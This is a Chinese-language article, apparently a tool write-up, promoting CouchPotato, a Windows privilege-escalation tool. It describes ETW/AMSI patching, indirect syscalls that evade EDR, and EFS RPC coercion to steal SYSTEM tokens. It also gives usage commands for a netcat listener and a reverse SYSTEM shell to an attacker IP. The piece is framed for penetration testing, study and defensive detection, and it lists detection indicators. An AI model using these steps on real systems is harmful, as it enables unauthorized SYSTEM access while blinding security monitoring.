CouchPotato:基于SeImpersonatePrivilege的Windows提权工具深度解析
在Windows渗透测试与红队演练中,从服务账户或管理员上下文提升到 NT AUTHORITY\SYSTEM 是最常见的权限提升需求之一。CouchPotato 是 GitHub 上新近开源的一款 Windows 权限提升工具,作者在仓库中将其描述为"another PrivEsc potato",它把 ETW 与 AMSI 补丁、间接系统调用(Indirect Syscall)、SeImpersonatePrivilege 滥用三项技术整合进同一个轻量级 C 工程,一上线就受到安全研究社区的广泛关注。
与 JuicyPotato、PrintSpoofer、GodPotato 等"土豆家族"前辈相比,CouchPotato 最大的特点在于对抗意识的内置化:部分敏感字符串在编译期完成 XOR 加密,作者明确表示不再发布任何预编译二进制文件,使用者必须自行编译。这一设计让每个编译产物的特征都不相同,天然规避了基于静态签名的检测。

产品介绍
CouchPotato 是一款面向 Windows 平台的本地权限提升(LPE)工具,采用纯 C 语言开发,以 Visual Studio 工程(CouchPotato.slnx / CouchPotato.vcxproj)的形式开源。项目的定位非常清晰:在目标主机已经具备 服务账户(Service Account)或管理员(Admin) 上下文的前提下,将其权限进一步提升至 NT AUTHORITY\SYSTEM。
从源码结构来看,工程十分精简,全部功能集中在少数几个文件中:
| 文件 | 作用 |
|---|---|
main.c |
主流程:解除 ntdll 钩子、修补 ETW/AMSI、触发 EFS RPC 强制认证、复制 SYSTEM 令牌并反弹 Shell |
util.c / util.h |
工具函数:手动解析导出表、从磁盘 ntdll 提取系统调用号(SSN)、获取干净的 syscall 指令地址 |
syscalls.asm |
间接系统调用的汇编跳板 |
couch_efsr_c.c / couch_efsr_h.h |
EFS RPC 接口的客户端绑定代码 |
工具的使用前提与经典 Potato 攻击一致:当前账户需持有 SeImpersonatePrivilege(模拟客户端权限)。该权限默认授予 IIS 应用池账户、SQL Server 服务账户、各类 Windows 服务账户以及本地管理员,因此在真实攻防场景中覆盖面很广。
核心功能
1. ETW 与 AMSI 内存补丁
程序启动后即在当前进程内对 ETW(Windows 事件跟踪)与 AMSI(反恶意软件扫描接口)的关键函数进行内存修补——例如将 EtwEventWrite 的入口改写为单字节 0xC3(ret 指令),使安全产品的日志采集与扫描能力在提权链条内失效。子进程(反弹出的 SYSTEM Shell)中的 ETW 同样会被二次修补。
2. 间接系统调用(Indirect Syscall)
敏感操作(打开线程令牌、复制令牌、修改子进程内存)不直接调用 ntdll 的 API 入口,而是先从磁盘上的 ntdll.dll 副本中解析出真实的系统调用号(SSN)与未被挂钩的 syscall 指令地址,再通过 syscalls.asm 中的汇编跳板完成调用。这种方式绕过了 EDR 在用户态对 ntdll 函数入口布置的 inline hook,涉及的核心调用包括 NtOpenThreadToken、NtDuplicateToken、NtProtectVirtualMemory 与 NtWriteVirtualMemory。
3. EFS RPC 强制认证滥用 SeImpersonatePrivilege
提权的核心原语沿用了 Potato 家族的经典思路:创建名为 \\.\pipe\CouchPotato\pipe\srvsvc 的命名管道,启动 EFS 服务后调用 EfsRpcQueryUsersOnFile 接口,诱使以 SYSTEM 身份运行的系统组件向攻击者控制的管道发起认证连接,随后通过 ImpersonateNamedPipeClient 捕获并模拟 SYSTEM 令牌,最终用复制出的主令牌(Primary Token)创建新进程。

4. SYSTEM 权限反弹 Shell
提权成功后,工具直接向命令行参数指定的 IP 与端口发起 TCP 连接,并以 SYSTEM 令牌创建 cmd.exe,将其标准输入输出全部重定向到该 Socket——即一个具备最高权限的反向 Shell。
5. 编译期 XOR 字符串混淆
源码中的 RPC 接口 UUID、协议序列、管道路径等敏感宽字符串全部以编译期 XOR 的形式写入,密钥由编译时间戳(__TIME__)推导得出。这意味着每次编译产生的二进制中,字符串内容与密钥都不同,.rdata 段不残留明文特征。
技术优势
- 每次编译,特征即变:XOR 密钥随编译时间戳变化,同一源码两次构建产物的字节特征完全不同,静态签名库难以覆盖。
- 无预编译二进制:作者明确声明不再发布编译好的 exe,从分发层面切断了"已知哈希"查杀,也倒逼使用者理解编译流程。
- 用户态钩子免疫:SSN 从磁盘 ntdll 解析而非依赖已挂钩的内存副本,配合干净
syscall指令地址执行间接调用,对主流 EDR 的用户态监控形成有效规避。 - 提权覆盖面广:
Service account || Admin -> NT SYSTEM,凡持有 SeImpersonatePrivilege 的上下文(IIS APPPOOL、MSSQL 服务账户、本地管理员等)均可作为起点。 - 工程精简可读:纯 C 实现、依赖少,核心逻辑数百行内完成,便于安全研究人员审计、改写与二次开发。
使用方式/部署教程
环境准备
- 一台安装有 Visual Studio(含"使用 C++ 的桌面开发"工作负载)的 Windows 编译机;
- 目标主机上已获取持有 SeImpersonatePrivilege 的会话(服务账户或管理员上下文);
- 攻击机准备监听端口接收反弹 Shell。
编译步骤
克隆源码到本地:
git clone https://github.com/aaron-kidwell/CouchPotato.git
使用 Visual Studio 打开 CouchPotato.slnx 解决方案,选择 Release | x64 配置后直接生成。由于敏感字符串在编译期才完成 XOR 加密,务必自行编译,不要在网上寻找来历不明的预编译版本——这既是作者的建议,也是避免供应链风险的基本常识。
实战使用
在攻击机上开启监听:
nc -lvnp 4444
将编译好的 CouchPotato.exe 上传至目标主机,在已获取的服务账户或管理员会话中执行:
CouchPotato.exe ip port
其中 ip 为攻击机地址,port 为监听端口。执行成功后,工具的输出日志会依次呈现"修补完成 → 管道就绪 → EFS 触发 → SYSTEM 令牌已复制"的完整链路,攻击机监听器随即收到一个 NT AUTHORITY\SYSTEM 权限的命令行会话。
应用场景

- 授权渗透测试:在拿下 Web 服务或数据库服务账户(如 IIS APPPOOL、NT SERVICE\MSSQLSERVER)后,快速完成到 SYSTEM 的权限跨越,是内网纵深突破的关键一环。
- 红队对抗演练:其 ETW/AMSI 修补与间接系统调用组合,为演练提供了检验蓝队 EDR 真实检测能力的样本。
- 安全研究与教学:代码短小完整,是学习 Potato 攻击原理、EFS RPC 强制认证、SSN 动态解析等技术的优质参考实现。
- 防御方检测建设:蓝队可据此制定针对性规则——监控名为
CouchPotato的命名管道创建、异常的 EFS RPC 调用、EtwEventWrite入口被改写为0xC3等行为特征,均能有效暴露该类攻击。
总结
CouchPotato 把 Potato 家族的提权原语与现代免杀对抗技术做了一次干净利落的整合:SeImpersonatePrivilege 滥用负责"拿到 SYSTEM",ETW/AMSI 补丁与间接系统调用负责"安静地拿到 SYSTEM",编译期 XOR 与"只发源码不发二进制"的分发策略则把静态检测的门槛又抬高了一截。对于渗透测试人员,它是一件即插即用的提权利器;对于防御方,它的源码则是一份难得的检测规则编写指南。
项目地址:https://github.com/aaron-kidwell/CouchPotato
感兴趣的读者可以 Star 并 Fork 该仓库,自行编译体验;使用时请牢记作者的要求——自行编译,避免特征固化。